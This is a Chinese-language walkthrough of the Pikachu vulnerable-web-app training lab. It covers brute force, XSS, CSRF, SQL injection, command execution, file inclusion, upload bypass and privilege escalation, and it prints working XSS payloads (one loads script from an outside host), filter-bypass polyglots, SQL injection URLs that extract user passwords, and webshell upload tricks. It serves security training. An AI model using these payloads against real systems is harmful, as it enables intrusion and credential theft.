pikachu_通关记录

密码爆破

1.1表单爆破

Burpsuite抓包直接爆
pikachu_通关记录

1.2验证码绕过(on server)

验证码在服务端只验证一次,那么手动输入验证码后再次爆
pikachu_通关记录

1.3验证码绕过(on client)

验证码只在客户端进行验证,并不会发送到服务端,所以抓包的时候直接把验证码去掉再爆
pikachu_通关记录

1.4绕过token防护

这里我就得向服务器获取到token值,然后递归和字典一起爆
pikachu_通关记录

获取到的第一个token值,需要手动粘贴填一下,另外重定向哪里也需要设成一直
pikachu_通关记录

XSS注入

反射型(get)

直接再url中写入payload

<script>alert('1')</script>

pikachu_通关记录

反射型(post)

在搜素框中写入payload,点击时触发

<h onclick=alert('1')>1<h>

pikachu_通关记录

存储型

留言板中留个图片,不加源,同样是点击触发

<img  src="" onclick=alert('1')>

pikachu_通关记录

DOM型

直接单引号闭合跃出,加上点击触发

' onclick="alert('xss')">

pikachu_通关记录

DOM_XSS-X

同理
pikachu_通关记录

盲打

不管3721,尝试就对了
pikachu_通关记录

pikachu_通关记录

绕过滤

第一种,大小写

<ScRipt>alert(1)</ScRIpT>

pikachu_通关记录

第二种,双重尖括号双倍快乐

<<SCRIPT>alert("XSS");//<</SCRIPT>

pikachu_通关记录

第三种,没有标签绕过
某些浏览器中不需要加入常规XSSpayload中的”>”部分.例如firefox会为你非常体贴的安全闭合HTML标签,并且加入闭合标签!

<SCRIPT SRC=http://xss.rocks/xss.js?< B >

pikachu_通关记录
其他绕过方式

/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

htmlspecialchars实体转换

使用Javascript伪协议

javascript:alert(document.domain)

pikachu_通关记录

href输出

同样可以使用伪协议输出

javascript:alert(document.domain)

pikachu_通关记录

js输出

闭合,输出
pikachu_通关记录

CSRF跨站伪造请求

GET型

直接存在于URL中,改起来很简单
pikachu_通关记录

post型

POST注入稍微麻烦一点需要先截包,然后修改表单里的数据
pikachu_通关记录

SQL注入

数字型注入

布尔判断寻找注入点
pikachu_通关记录

直接order by,猜出字段数

pikachu_通关记录

查找显示位
pikachu_通关记录

查看数据库版本和当前库名
pikachu_通关记录

根据得到的库名得到pikachu中所有表名
pikachu_通关记录

查找users表中的所有字段信息
pikachu_通关记录

然后直接查找pikachu库中users表的username和password信息
pikachu_通关记录

同理可以查找数据库root用户的密码
pikachu_通关记录

解密
pikachu_通关记录

字符型注入

单引号判断注入点

pikachu_通关记录

闭合单引号

pikachu_通关记录

判断字段数
pikachu_通关记录

使用updatexml报错注入得到pikachu库下的表名

http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) -- &submit=查询

pikachu_通关记录

拿到users表的字段信息

http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)-- &submit=查询

pikachu_通关记录

拿users表的具体内容

http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 1,1),0x7e),1) -- &submit=查询

pikachu_通关记录

搜索型注入

可以发现单引号出现报错,注释掉后回显正常,那么就可以选择联合注入或者是报错注入,这里就不占篇幅了
pikachu_通关记录

不知名类型注入

可以看见他构造的闭合有点奇怪,是'),有的情况下还有双引号、中括号等奇葩方式,但是只要找到注入点就基本结束了,注入方法参考上面的联合和报错
pikachu_通关记录

insert、update、delete注入

加入万能的单引号
pikachu_通关记录

再次使用报错
pikachu_通关记录

延时注入(布尔注入与延时同理不做演示)

payload如下

http://192.168.1.7/pikachu/vul/sqli/sqli_blind_b.php
?name=lili' and sleep(20
)--+

pikachu_通关记录

宽字节注入

带入%82复活单引号

pikachu_通关记录
接下来就简单了,和上面一样

命令执行

远程命令执行

例如在执行ping命令后加管道符(或&&)执行systeminfo获取系统详细信息,
pikachu_通关记录

远程代码执行

例如输入phpinfo();
pikachu_通关记录

文件包含

本地文件包含

一般配合目录遍历使用,例如读取服务器的hosts文件
pikachu_通关记录
pikachu_通关记录

远程文件包含

0x01远端服务器准备
docker快速开一个lnmp服务

root@linux:~# docker run -itd -p 12345:80 raesene/bwapp
84ea4667fa6e76be69cc1468a70d485fb198554b5bb4a38b369030666e0a95d5

包含远端文件
pikachu_通关记录

文件下载

目录遍历下载个记事本
pikachu_通关记录

文件上传

客户端检查

将webshell上传时改成图片格式,截包后改成php格式

pikachu_通关记录

服务端检查

不用改成图片格式,直接上传webshell,截包将Content-Type声明为 image/png
pikachu_通关记录

webshell连接
pikachu_通关记录

图像内容检查

这里使用了getimagesize() 函数获取图像大小及文件头是否是真实的图片,所以需要将webshell写入真实的图片来绕过检查
pikachu_通关记录

webshell连接
这里的shell是放在图片里的,所以需要让nginx错误的解析图片释放webshell
pikachu_通关记录

越权

水平越权

直接替换用户查询即可
pikachu_通关记录

垂直越权

admin登陆后进入添加用户复制URL退出登陆,登陆pikachu进入admin的管理界面添加一个用户lisi
pikachu_通关记录

目录遍历

敏感信息泄露

直接F12查看代码
pikachu_通关记录

上一篇:pikachu-SQL注入漏洞


下一篇:Pikachu靶机--暴力破解